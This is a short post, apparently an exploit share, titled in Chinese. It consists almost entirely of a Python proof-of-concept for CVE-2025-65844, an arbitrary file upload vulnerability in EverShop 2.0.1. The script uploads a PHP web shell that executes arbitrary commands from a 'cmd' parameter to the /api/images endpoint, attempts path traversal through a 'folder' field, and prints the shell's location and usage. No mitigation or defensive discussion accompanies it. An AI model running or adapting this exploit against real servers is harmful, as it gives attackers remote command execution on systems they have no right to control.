CVE-2025-65844 EverShop 2.0.1 任意文件上传漏洞

#!/usr/bin/env python3 """ CVE-2025-65844 PoC - EverShop 2.0.1 Arbitrary File Upload Author: Security Researcher """ import requests import sys import random import string def generate_random_string(length=8): """Generate random string for filename""" return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def upload_webshell(target_url, webshell_content=None): """ Upload malicious webshell to EverShop server """ if webshell_content is None: webshell_content = '''<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?> ''' endpoint = f"{target_url.rstrip('/')}/api/images" filename = f"{generate_random_string()}.php" files = { 'file': (filename, webshell_content, 'application/x-php') } data = { 'folder': '../../../public/uploads' # Path traversal attempt } print(f"[*] Target: {target_url}") print(f"[*] Uploading webshell to {endpoint}") try: response = requests.post(endpoint, files=files, data=data, timeout=30) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] File uploaded successfully!") print(f"[+] Webshell location: {target_url}/uploads/{filename}") print(f"[+] Usage: {target_url}/uploads/{filename}?cmd=whoami") return True else: print("[-] Upload failed!") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-65844.py <target_url>") print("Example: python3 cve-2025-65844.py http://victim.com") sys.exit(1) target = sys.argv[1] upload_webshell(target) if __name__ == "__main__": main()